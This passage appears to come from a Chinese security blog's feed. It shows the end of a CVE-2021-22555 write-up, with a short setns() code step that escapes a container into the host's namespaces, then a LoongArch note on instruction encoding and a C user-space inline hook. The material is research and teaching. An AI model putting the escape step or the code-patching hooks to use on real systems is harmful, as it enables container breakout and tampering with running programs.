class="line">}</span><br></pre></td></tr></table></figure><p>最后,将当前进程的名称空间替换成1号进程的,而1号进程的名称空间已经替换成容器初始化时的全局名称空间init_nsproxy,由此实现容器逃逸。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">setns(open("/proc/1/ns/mnt", O_RDONLY), 0);</span><br><span class="line">setns(open("/proc/1/ns/pid", O_RDONLY), 0);</span><br><span class="line">setns(open("/proc/1/ns/net", O_RDONLY), 0);</span><br></pre></td></tr></table></figure><h2 id="参考文献"><a href="#参考文献" class="headerlink" title="参考文献"></a>参考文献</h2><p><a href="https://github.com/google/security-research/blob/master/pocs/linux/cve-2021-22555/writeup.md" target="_blank" rel="noopener">CVE-2021-22555: Turning \x00\x00 into 10000$</a></p><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22555" target="_blank" rel="noopener"><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22555" target="_blank" rel="noopener">CVE-2021-22555 - The MITRE Corporation</a></a></p><p><a href="https://www.anquanke.com/post/id/247830" target="_blank" rel="noopener">CVE-2021-22555 linux内核提权</a></p><p><a href="https://www.anquanke.com/post/id/251515" target="_blank" rel="noopener">隐藏十五年的漏洞:CVE-2021-22555 漏洞分析与复现</a></p><p><a href="https://www.anquanke.com/post/id/254027" target="_blank" rel="noopener">CVE-2021-22555 2字节堆溢出写0漏洞提权分析</a></p><p><a href="https://man7.org/linux/man-pages/man7/namespaces.7.html" target="_blank" rel="noopener">namespaces(7) — Linux manual page</a></p><p><a href="https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation" target="_blank" rel="noopener">The Route to Root: Container Escape Using Kernel Exploitation</a></p><p><a href="https://duasynt.com/blog/linux-kernel-heap-spray" target="_blank" rel="noopener">Linux Kernel universal heap spray</a></p>]]></content>
<summary type="html">
<h1 id="CVE-2021-22555漏洞分析"><a href="#CVE-2021-22555漏洞分析" class="headerlink" title="CVE-2021-22555漏洞分析"></a>CVE-2021-22555漏洞分析</h1><p>author
</summary>
</entry>
<entry>
<title>LoongArch 研究小记(一)</title>
<link href="http://yoursite.com/2021/09/24/LoongArch/"/>
<id>http://yoursite.com/2021/09/24/LoongArch/</id>
<published>2021-09-24T00:00:00.000Z</published>
<updated>2025-07-16T10:02:19.305Z</updated>
<content type="html"><![CDATA[<p>author: xiongxiao (<a href="mailto:395984722@qq.com">395984722@qq.com</a>), jiayy (<a href="mailto:chengjia4574@gmail.com">chengjia4574@gmail.com</a>)</p><h1 id="LoongArch"><a href="#LoongArch" class="headerlink" title="LoongArch"></a>LoongArch</h1><p>目前世界上主要的指令集架构有 MIPS, X86, Power, Alpha, ARM 等,除了 ARM 是英国的其余都是美国的。国内的芯片厂商龙芯,君正,兆芯,海光,申威,飞腾,海思,展讯,华芯通等购买相应授权并开发相应芯片产品,这就是目前芯片市场的情况,可以说脖子被卡得死死的。</p><p>2021.04.30,<a href="https://mp.weixin.qq.com/s/5wzy_rS-C3sGuRzbVKhjJQ" target="_blank" rel="noopener">龙芯自主指令系统LoongArch基础架构手册正式发布</a> ,号称从顶层架构,到指令功能和 ABI 标准等,全部自主设计,不需国外授权。2021.07.23, 基于自主指令集 LA 架构的 <a href="https://mp.weixin.qq.com/s/gccqI3_Z99HxnJuVxNj1hw" target="_blank" rel="noopener">新一代处理器龙芯3A5000正式发布</a> ,据称 spec 2006评分达到26分,接近30分的一代锐龙。</p><p>我们小组及时跟进研究了 LA 的手册,并在 3A5000 设备上开发了相应的产品。在这过程中发现网上对这一新生事物缺乏资料(除了官方的),遂写了本篇小记。</p><h1 id="inline-Hook"><a href="#inline-Hook" class="headerlink" title="inline Hook"></a>inline Hook</h1><p>其中一个任务是实现 LA 上的 inline hook 。指令手册主要参考:</p><ul><li>第二章 基础整数指令, 解释指令格式和功能</li><li>附录B 指令码一览, 指令的二进制编码方式</li></ul><h2 id="寄存器"><a href="#寄存器" class="headerlink" title="寄存器"></a>寄存器</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">基础整数指令涉及的寄存器包括通用寄存器(General-purpose Register,简称 GR) 和 程序记数寄存器(Program Counter,简称PC)</span><br><span class="line"></span><br><span class="line">通用寄存器GR有32个,记为r0~r31, 其中 0 号寄存器r0的值恒为 0。</span><br><span class="line"></span><br><span class="line">GR 的位宽记做 GRLEN。LA32 32bit, LA64 64bit。</span><br><span class="line"></span><br><span class="line">在标准的龙芯架构应用程序二进制接口(Application Binary Interfac, 简称ABI) 中,r1 固定作为存放函数调用返回地址的寄存器。</span><br><span class="line"></span><br><span class="line">其中GR包括 r0 ... r31 共32个</span><br><span class="line"></span><br><span class="line">PC 只有1个,记录当前指令的地址。</span><br><span class="line"></span><br><span class="line">PC 寄存器不能被指令直接修改,只能被转移指令、例外陷入和例外返回指令间接修改。</span><br><span class="line"></span><br><span class="line">可以作为一些非转移类指令的源操作数直接读取。</span><br><span class="line">(以上内容全部摘自指令手册)</span><br></pre></td></tr></table></figure><p>补充:<br>根据LoongArch ABI,寄存器功能的更细的划分如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">R0 : 永 远 为0</span><br><span class="line">R1 : ra 返 回 地 址</span><br><span class="line">R2 : tp , 线 程 指 针</span><br><span class="line">R3 : sp , 栈 指 针</span><br><span class="line">R4−R11: 参 数a0−a7 , a0/a1 返 回</span><br><span class="line">R12−R20 : t0−t8 临 时 寄 存 器</span><br><span class="line">R21 : r e s e r v e</span><br><span class="line">R22 : fp</span><br><span class="line">R23−R31 : s0−s8 c a l l e e</span><br></pre></td></tr></table></figure><h2 id="指令"><a href="#指令" class="headerlink" title="指令"></a>指令</h2><p>这里通过BEQ指令说明如何查询手册,快速获得这条指令相关的信息</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> 在附录中可以找到指令的编码</span></span><br><span class="line">BEQ rj, rd, offs | 0 1 0 1 1 0 offs[15:0] rj rd</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash"> 在第二章可以找到指令的功能解释以及编码含义</span></span><br><span class="line">BEQ 将通用寄存器 rj 和通用寄存器 rd 的值进行比较,如果两者相等则跳转到目标地址,否则不跳转</span><br><span class="line"></span><br><span class="line">if GR[rj] == GR[rd] :</span><br><span class="line">PC = PC + SignExtend(offs16, 2'b0}, GRLEN)</span><br></pre></td></tr></table></figure><p>伪代码中 SignExtend(offs16, 2’b0}, GRLEN) 的含义是offs16 左移两位,然后符号扩展到GRLEN(LA64下 即64位)</p><p>关于符号扩展<a href="https://zh.wikipedia.org/zh-hans/%E7%AC%A6%E5%8F%B7%E6%89%A9%E5%85%85" target="_blank" rel="noopener">Wiki</a>,C实现如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 依赖 >> 符号本身就是符号扩展的特性,可以简单实现为</span></span><br><span class="line"><span class="function"><span class="keyword">long</span> <span class="title">sign_extend</span><span class="params">(<span class="keyword">long</span> off, <span class="keyword">int</span> bits)</span></span>{</span><br><span class="line"><span class="keyword">return</span> ((off << (<span class="number">64</span> - bits)) >> (<span class="number">64</span> - bits));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 不依赖 << 符号</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">long</span> <span class="title">sign_extend</span><span class="params">(<span class="keyword">long</span> off, <span class="keyword">unsigned</span> <span class="keyword">int</span> bits)</span></span>{</span><br><span class="line"><span class="keyword">long</span> sign_mask = <span class="number">1U</span>L << (bits - <span class="number">1</span>); <span class="comment">// bit[bits - 1] 为 1,其他位全部为 0</span></span><br><span class="line"><span class="keyword">long</span> pos_mask = (<span class="number">1U</span>L << bits) - <span class="number">1</span>; <span class="comment">// bit[0:bits] 全部为 1, bit[bits: 63] 全部为0</span></span><br><span class="line"><span class="keyword">long</span> neg_mask = ~((<span class="number">1U</span>L << bits) - <span class="number">1</span>); <span class="comment">// bit[0:bits] 全部为 0, bit[bits: 63] 全部为1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(off & sign_mask){</span><br><span class="line"><span class="comment">// 符号位为 1, 保证扩展后的高位全部为 1</span></span><br><span class="line"><span class="keyword">return</span> off | neg_mask;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="comment">// 符号位为 0, 保证扩展后的高位全部为 0</span></span><br><span class="line"><span class="keyword">return</span> off & pos_mask;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"0x%lx\n"</span>, sign_extend(<span class="number">0x80</span>, <span class="number">8</span>)); <span class="comment">// 0xffffffffffffff80</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"0x%lx\n"</span>, sign_extend(<span class="number">0x80</span>, <span class="number">9</span>));<span class="comment">// 0x80</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="PC-相对寻址指令替换"><a href="#PC-相对寻址指令替换" class="headerlink" title="PC 相对寻址指令替换"></a>PC 相对寻址指令替换</h2><p>inline hook 的主要工作之一就是修复这类指令,即计算出正确的地址,然后通过其他指令替换</p><p>LoongArch64 中的PC相对寻址指令如下:</p><p>算数运算指令</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">PCADDI rd, si20 | 0 0 0 1 1 0 0 si20 rd</span><br><span class="line">PCALAU12I rd, si20 | 0 0 0 1 1 0 1 si20 rd</span><br><span class="line">PCADDU12I rd, si20 | 0 0 0 1 1 1 0 si20 rd</span><br><span class="line">PCADDU18I rd, si20 | 0 0 0 1 1 1 1 si20 rd</span><br></pre></td></tr></table></figure><p>转移指令</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">BEQZ rj, offs | 0 1 0 0 0 0 offs[15:0] rj offs[20:16]</span><br><span class="line">BNEZ rj, offs | 0 1 0 0 0 1 offs[15:0] rj offs[20:16]</span><br><span class="line">BCEQZ cj, offs | 0 1 0 0 1 0 offs[15:0] 0 0 cj offs[20:16]</span><br><span class="line">BCNEZ cj, offs | 0 1 0 0 1 0 offs[15:0] 0 1 cj offs[20:16]</span><br><span class="line"><span class="meta">#</span><span class="bash"> JIRL rd, rj, offs| 0 1 0 0 1 1 offs[15:0] rj rd (唯一一个不是PC相对寻址的转移指令) </span></span><br><span class="line">B offs | 0 1 0 1 0 0 offs[15:0] offs[25:16]</span><br><span class="line">BL offs | 0 1 0 1 0 1 offs[15:0] offs[25:16]</span><br><span class="line">BEQ rj, rd, offs | 0 1 0 1 1 0 offs[15:0] rj rd</span><br><span class="line">BNE rj, rd, offs| 0 1 0 1 1 1 offs[15:0] rj rd</span><br><span class="line">BLT rj, rd, offs| 0 1 1 0 0 0 offs[15:0] rj rd</span><br><span class="line">BGE rj, rd, offs| 0 1 1 0 0 1 offs[15:0] rj rd</span><br></pre></td></tr></table></figure><p>对这两类的指令替换方案如下:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">pcaddi [target_reg], si20 替换为:</span><br><span class="line"></span><br><span class="line">PCADDI r17, 12/4# 将 pc + 12 存放到 r17 临时寄存器</span><br><span class="line">LD.D [target_reg], r17, 0# 取出 r17 地址处的 8 个字节保存到 target_reg</span><br><span class="line">B 12/4# 跳过存放地址的8个字节,即 pc += 12,由于指令会对偏移移位,所以要12/4</span><br><span class="line">IMM[ 0: 31] # 基于原指令pc 计算得到的结果低32bit</span><br><span class="line">IMM[32: 63]# 基于原指令pc 计算得到的结果高32bit</span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">b offs 替换为:</span><br><span class="line"></span><br><span class="line">PCADDI R17, 12/4# 将 pc + 12 存放到 r17 临时寄存器</span><br><span class="line">LD.D R17, R17, 0# 取出 r17 地址处的 8 个字节保存到 r17</span><br><span class="line">JIRL R0, R17, 0# 跳转到 r17 保存的地址处</span><br><span class="line">TO_ADDR[0 : 31]# 基于原指令pc 计算得到的跳转地址低32bit</span><br><span class="line">TO_ADDR[32: 63] # 基于原指令pc 计算得到的跳转地址高32bit</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash"> 条件跳转类的替换方式如下:</span></span><br><span class="line">BEQ rj, rd, offs 替换为:</span><br><span class="line"></span><br><span class="line">BNE rj, rd, 24/4</span><br><span class="line">PCADDI R17, 12/4</span><br><span class="line">LD.D R17, R17, 0</span><br><span class="line">JIRL R0, R17, 0</span><br><span class="line">TO_ADDR[0 : 31]</span><br><span class="line">TO_ADDR[32: 63]</span><br></pre></td></tr></table></figure><h2 id="r1寄存器"><a href="#r1寄存器" class="headerlink" title="r1寄存器"></a>r1寄存器</h2><p>有时函数栈的切换不会把返回值压栈,而是直接使用r1寄存器</p><p>经测试,当一个函数没有调用子函数的时候,不会把 r1 压栈</p><p>开启gcc 编译优化也会省去压栈操作</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// main.c</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">func1</span><span class="params">(<span class="keyword">int</span> a, <span class="keyword">int</span> b)</span></span>{</span><br><span class="line"><span class="keyword">return</span> a + b;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">func2</span><span class="params">(<span class="keyword">int</span> a, <span class="keyword">int</span> b)</span></span>{</span><br><span class="line"><span class="keyword">return</span> func1(a, b) + <span class="number">10</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span></span>{</span><br><span class="line">func1(<span class="number">100</span>, <span class="number">200</span>);</span><br><span class="line">func2(<span class="number">100</span>, <span class="number">200</span>);</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">$ gcc main.c -g</span><br><span class="line">$ gdb a.out</span><br><span class="line">(gdb) disassemble func1</span><br><span class="line">Dump of assembler code for function func1:</span><br><span class="line"> 0x0000000120000650 <+0>:addi.d$r3,$r3,-32(0xfe0)</span><br><span class="line"> 0x0000000120000654 <+4>:st.d$r22,$r3,24(0x18)</span><br><span class="line"> 0x0000000120000658 <+8>:addi.d$r22,$r3,32(0x20)</span><br><span class="line"> 0x000000012000065c <+12>:move$r13,$r4</span><br><span class="line"> 0x0000000120000660 <+16>:move$r12,$r5</span><br><span class="line"> 0x0000000120000664 <+20>:slli.w$r13,$r13,0x0</span><br><span class="line"> 0x0000000120000668 <+24>:st.w$r13,$r22,-20(0xfec)</span><br><span class="line"> 0x000000012000066c <+28>:slli.w$r12,$r12,0x0</span><br><span class="line"> 0x0000000120000670 <+32>:st.w$r12,$r22,-24(0xfe8)</span><br><span class="line"> 0x0000000120000674 <+36>:ld.w$r13,$r22,-20(0xfec)</span><br><span class="line"> 0x0000000120000678 <+40>:ld.w$r12,$r22,-24(0xfe8)</span><br><span class="line"> 0x000000012000067c <+44>:add.w$r12,$r13,$r12</span><br><span class="line"> 0x0000000120000680 <+48>:move$r4,$r12</span><br><span class="line"> 0x0000000120000684 <+52>:ld.d$r22,$r3,24(0x18)</span><br><span class="line"> 0x0000000120000688 <+56>:addi.d$r3,$r3,32(0x20)</span><br><span class="line"> 0x000000012000068c <+60>:jirl$r0,$r1,0</span><br><span class="line">End of assembler dump.</span><br><span class="line">(gdb) disassemble func2</span><br><span class="line">Dump of assembler code for function func2:</span><br><span class="line"> 0x0000000120000690 <+0>:addi.d$r3,$r3,-32(0xfe0)</span><br><span class="line"> 0x0000000120000694 <+4>:st.d$r1,$r3,24(0x18)</span><br><span class="line">...</span><br><span class="line"> 0x00000001200006d8 <+72>:ld.d$r1,$r3,24(0x18)</span><br><span class="line"> 0x00000001200006dc <+76>:ld.d$r22,$r3,16(0x10)</span><br><span class="line"> 0x00000001200006e0 <+80>:addi.d$r3,$r3,32(0x20)</span><br><span class="line"> 0x00000001200006e4 <+84>:jirl$r0,$r1,0</span><br><span class="line">End of assembler dump.</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">$ gcc main.c -O2 -g</span><br><span class="line">$ gdb a.out</span><br><span class="line">Dump of assembler code for function func1:</span><br><span class="line"> 0x0000000120000658 <+0>:add.w$r4,$r4,$r5</span><br><span class="line"> 0x000000012000065c <+4>:jirl$r0,$r1,0</span><br><span class="line">End of assembler dump.</span><br><span class="line">(gdb) disassemble func2</span><br><span class="line">Dump of assembler code for function func2:</span><br><span class="line"> 0x0000000120000660 <+0>:add.w$r4,$r4,$r5</span><br><span class="line"> 0x0000000120000664 <+4>:addi.w$r4,$r4,10(0xa)</span><br><span class="line"> 0x0000000120000668 <+8>:jirl$r0,$r1,0</span><br><span class="line">End of assembler dump.</span><br></pre></td></tr></table></figure><h2 id="用户态Hook"><a href="#用户态Hook" class="headerlink" title="用户态Hook"></a>用户态Hook</h2><p>简单实现,不处理pc相对寻址的情况</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/mman.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> JUMP_CODE_SIZE 20</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> (*func_ptr)(<span class="keyword">int</span>, <span class="keyword">int</span>, <span class="keyword">int</span>);</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">func</span><span class="params">(<span class="keyword">int</span> a, <span class="keyword">int</span> b, <span class="keyword">int</span> c)</span></span>{</span><br><span class="line"><span class="keyword">if</span>(a == <span class="number">0</span>){</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s-%d: %d\n"</span>, __func__, __LINE__, a+b+c);</span><br><span class="line"><span class="keyword">return</span> a+b+c;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">hook_handler</span><span class="params">(<span class="keyword">int</span> a, <span class="keyword">int</span> b, <span class="keyword">int</span> c)</span></span>{</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"%s-%d: %d, %d, %d\n"</span>, __func__, __LINE__, a, b, c);</span><br><span class="line">func_ptr(a, b, c);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">char</span> *<span class="title">do_jump</span><span class="params">(<span class="keyword">char</span> *from, <span class="keyword">char</span> *to)</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> rd, rj, off;</span><br><span class="line"> <span class="keyword">int</span> inst_pcaddi, inst_jirl, inst_ld_d;</span><br><span class="line"> <span class="keyword">int</span> to_addr_low, to_addr_high;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// PCADDI rd, si20 | 0 0 0 1 1 0 0 si20 rd</span></span><br><span class="line"> rd = <span class="number">17</span>;</span><br><span class="line"> off = <span class="number">12</span> >> <span class="number">2</span>;</span><br><span class="line"> inst_pcaddi = <span class="number">0x0c</span> << (<span class="number">32</span> - <span class="number">7</span>) | off << <span class="number">5</span> | rd ;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// LD.D rd, rj, si12 | 0 0 1 0 1 0 0 0 1 1 si12 rj rd</span></span><br><span class="line"> rd = <span class="number">17</span>;</span><br><span class="line"> rj = <span class="number">17</span>;</span><br><span class="line"> off = <span class="number">0</span>;</span><br><span class="line"> inst_ld_d = <span class="number">0xa3</span> << <span class="number">22</span> | off << <span class="number">10</span> | rj << <span class="number">5</span> | rd ;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// JIRL rd, rj, offs | 0 1 0 0 1 1 offs[15:0] rj rd</span></span><br><span class="line"> rd = <span class="number">0</span>;</span><br><span class="line"> rj = <span class="number">17</span>;</span><br><span class="line"> off = <span class="number">0</span>;</span><br><span class="line"> inst_jirl = <span class="number">0x13</span> << <span class="number">26</span> | off << <span class="number">10</span> | rj << <span class="number">5</span>| rd;</span><br><span class="line"></span><br><span class="line"> to_addr_low = (<span class="keyword">int</span>)((<span class="keyword">long</span>)to & <span class="number">0xffffffff</span>);</span><br><span class="line"> to_addr_high = (<span class="keyword">int</span>)((<span class="keyword">long</span>)to >> <span class="number">32</span>);</span><br><span class="line"></span><br><span class="line"> *(<span class="keyword">int</span> *)from = inst_pcaddi;</span><br><span class="line"> *(<span class="keyword">int</span> *)(from + <span class="number">4</span>) = inst_ld_d;</span><br><span class="line"> *(<span class="keyword">int</span> *)(from + <span class="number">8</span>) = inst_jirl;</span><br><span class="line"> *(<span class="keyword">int</span> *)(from + <span class="number">12</span>) = to_addr_low;</span><br><span class="line"> *(<span class="keyword">int</span> *)(from + <span class="number">16</span>) = to_addr_high;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> from + <span class="number">20</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PAGE_MASK (~(page_size-1))</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">post_hook</span><span class="params">(<span class="keyword">void</span> *target, <span class="keyword">void</span> *handler)</span></span>{</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> page_size = sysconf(_SC_PAGE_SIZE);</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> stolen = JUMP_CODE_SIZE;</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> *trampoline = mmap(<span class="literal">NULL</span>, <span class="number">128</span>, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, <span class="number">-1</span>, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// turn [ trampoline pointer ] into [ hook target function pointer ]</span></span><br><span class="line">func_ptr = (<span class="keyword">int</span> (*)(<span class="keyword">int</span>, <span class="keyword">int</span>, <span class="keyword">int</span>))trampoline;</span><br><span class="line"></span><br><span class="line"><span class="comment">// copy changed inst [ target: target+stolen ] </span></span><br><span class="line"><span class="built_in">memcpy</span>(trampoline, target, stolen);</span><br><span class="line"></span><br><span class="line"><span class="comment">// jump from [ trampoline + stolen ] to [ target + stolen ]</span></span><br><span class="line">do_jump(trampoline+stolen, target+stolen);</span><br><span class="line"></span><br><span class="line"><span class="comment">// [ target ] jump to [ handler ]</span></span><br><span class="line"><span class="comment">// 没有这个mprotect调用会出现段错误</span></span><br><span class="line">mprotect((<span class="keyword">void</span>*)((<span class="keyword">long</span>)target & PAGE_MASK), page_size, PROT_READ|PROT_WRITE|PROT_EXEC);</span><br><span class="line">do_jump(target, handler);</span><br><span class="line"></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span></span>{</span><br><span class="line">post_hook((<span class="keyword">void</span> *)func, (<span class="keyword">void</span> *)hook_handler);</span><br><span class="line">func(<span class="number">100</span>, <span class="number">200</span>, <span class="number">300</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span 